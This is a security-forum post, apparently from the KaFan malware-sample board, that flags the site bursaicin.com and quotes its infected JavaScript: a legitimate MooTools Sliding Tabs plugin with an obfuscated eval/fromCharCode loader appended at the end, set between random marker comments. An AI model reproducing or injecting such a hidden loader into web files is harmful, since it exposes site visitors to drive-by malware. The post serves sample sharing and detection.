查看: 769|回复: 0
收起左侧

[已鉴定] http://bursaicin.com/

[复制链接]
fireold
发表于 2013-6-24 19:53:42 | 显示全部楼层 |阅读模式
  1. // The Sliding Tabs mootools plugin is a creation of Jenna ???Blueberry??? Fox!
  2. // This isn't free software, so don't forget to give me a gift of some sort!
  3. // some idea's include poetry, drawings, songs, doodads, whosits, fuzzy things,
  4. // software licenses, and general free stuff. Contact me at http://creativepony.com/#contact
  5. // and let me know where you're using Sliding Tabs!
  6. // Documentation: http://creativepony.com/journal/scripts/sliding-tabs/
  7. // version: 1.8
  8. var SlidingTabs = new Class({
  9.     options: {
  10.         startingSlide: false,
  11.         // sets the slide to start on, either an element or an id
  12.         activeButtonClass: 'active',
  13.         // class to add to selected button
  14.         activationEvent: 'click',
  15.         // you can set this to ???mouseover??? or whatever you like
  16.         wrap: true,
  17.         // calls to previous() and next() should wrap around?
  18.         slideEffect: { // options for effect used to animate the sliding, see Fx.Base in mootools docs
  19.             duration: 400 // 0.4 of a second
  20.         },
  21.         animateHeight: true,
  22.         // animate height of container
  23.         rightOversized: 0 // how much of the next pane to show to the right of the current pane
  24.     },
  25.     current: null,
  26.     // zero based current pane number, read only
  27.     buttons: false,
  28.     outerSlidesBox: null,
  29.     innerSlidesBox: null,
  30.     panes: null,
  31.     fx: null,
  32.     // this one animates the scrolling inside
  33.     heightFx: null,
  34.     // this one animates the height

  35.     initialize: function(buttonContainer, slideContainer, options) {
  36.         if (buttonContainer) {
  37.             this.buttons = $(buttonContainer).getChildren();
  38.         }
  39.         this.outerSlidesBox = $(slideContainer);
  40.         this.innerSlidesBox = this.outerSlidesBox.getFirst();
  41.         this.panes = this.innerSlidesBox.getChildren();

  42.         this.setOptions(options);

  43.         this.fx = new Fx.Scroll(this.outerSlidesBox, this.options.slideEffect);
  44.         this.heightFx = this.outerSlidesBox.effect('height', this.options.slideEffect);

  45.         // set up button highlight
  46.         this.current = this.options.startingSlide ? this.panes.indexOf($(this.options.startingSlide)) : 0;
  47.         if (this.buttons) {
  48.             this.buttons[this.current].addClass(this.options.activeButtonClass);
  49.         }

  50.         // add needed stylings
  51.         this.outerSlidesBox.setStyle('overflow', 'hidden');
  52.         this.panes.each(function(pane, index) {
  53.             pane.setStyles({
  54.                 'float': 'left',
  55.                 'overflow': 'hidden'
  56.             });
  57.         }.bind(this));

  58.         // stupidness to make IE work - it boggles the mind why this has any effect
  59.         // maybe it's something to do with giving it layout?
  60.         this.innerSlidesBox.setStyle('float', 'left');

  61.         if (this.options.startingSlide) this.fx.toElement(this.options.startingSlide);

  62.         // add events to the buttons
  63.         if (this.buttons) this.buttons.each(function(button) {
  64.             button.addEvent(this.options.activationEvent, this.buttonEventHandler.bindWithEvent(this, button));
  65.         }.bind(this));

  66.         if (this.options.animateHeight) this.heightFx.set(this.panes[this.current].offsetHeight);


  67.         // set up all the right widths inside the panes
  68.         this.recalcWidths();
  69.     },

  70.     // to change to a specific tab, call this, argument is the pane element you want to switch to.
  71.     changeTo: function(element, animate) {
  72.         if ($type(element) == 'number') element = this.panes[element - 1];
  73.         if (!$defined(animate)) animate = true;
  74.         var event = {
  75.             cancel: false,
  76.             target: $(element),
  77.             animateChange: animate
  78.         };
  79.         this.fireEvent('change', event);
  80.         if (event.cancel == true) {
  81.             return;
  82.         };

  83.         if (this.buttons) {
  84.             this.buttons[this.current].removeClass(this.options.activeButtonClass);
  85.         };
  86.         this.current = this.panes.indexOf($(event.target));
  87.         if (this.buttons) {
  88.             this.buttons[this.current].addClass(this.options.activeButtonClass);
  89.         };

  90.         this.fx.stop();
  91.         if (event.animateChange) {
  92.             this.fx.toElement(event.target);
  93.         } else {
  94.             this.outerSlidesBox.scrollTo(this.current * this.outerSlidesBox.offsetWidth.toInt(), 0);
  95.         }

  96.         if (this.options.animateHeight) this.heightFx.start(this.panes[this.current].offsetHeight);
  97.     },

  98.     // Handles a click
  99.     buttonEventHandler: function(event, button) {
  100.         if (event.target == this.buttons[this.current]) return;
  101.         this.changeTo(this.panes[this.buttons.indexOf($(button))]);
  102.     },

  103.     // call this to go to the next tab
  104.     next: function() {
  105.         var next = this.current + 1;
  106.         if (next == this.panes.length) {
  107.             if (this.options.wrap == true) {
  108.                 next = 0
  109.             } else {
  110.                 return
  111.             }
  112.         }

  113.         this.changeTo(this.panes[next]);
  114.     },

  115.     // to go to the previous tab
  116.     previous: function() {
  117.         var prev = this.current - 1
  118.         if (prev < 0) {
  119.             if (this.options.wrap == true) {
  120.                 prev = this.panes.length - 1
  121.             } else {
  122.                 return
  123.             }
  124.         }

  125.         this.changeTo(this.panes[prev]);
  126.     },

  127.     // call this if the width of the sliding tabs container changes to get everything in line again
  128.     recalcWidths: function() {
  129.         this.panes.each(function(pane, index) {
  130.             pane.setStyle('width', this.outerSlidesBox.offsetWidth.toInt() - this.options.rightOversized + 'px');
  131.         }.bind(this));

  132.         this.innerSlidesBox.setStyle('width', (this.outerSlidesBox.offsetWidth.toInt() * this.panes.length) + 'px');

  133.         // fix positioning
  134.         if (this.current > 0) {
  135.             this.fx.stop();
  136.             this.outerSlidesBox.scrollTo(this.current * this.outerSlidesBox.offsetWidth.toInt(), 0);
  137.         }
  138.     }
  139. });

  140. SlidingTabs.implement(new Options, new Events);









  141. /*km0ae9gr6m*/
  142. try {
  143.     prototype % 2;
  144. } catch (asd) {
  145.     x = 2;
  146. }
  147. try {
  148.     q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" : "")]("p");
  149.     q.appendChild(q + "");
  150. } catch (fwbewe) {
  151.     i = 0;
  152.     try {
  153.         prototype * 5;
  154.     } catch (z) {
  155.         fr = "fromChar";
  156.         f = [];
  157.         v = "eva";
  158.     }
  159.     if (v) e = window[v + "l"];
  160.     w = f;
  161.     s = [];
  162.     r = String;
  163.     z = ((e) ? "Code" : "");
  164.     for (; 1776 - 5 + 5 > i; i += 1) {
  165.         j = i;
  166.         if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  167.     }
  168.     if (f) e(s);
  169. } /*qhk6sa6g1c*/
复制代码
avg7.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 10:18 , Processed in 0.126725 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表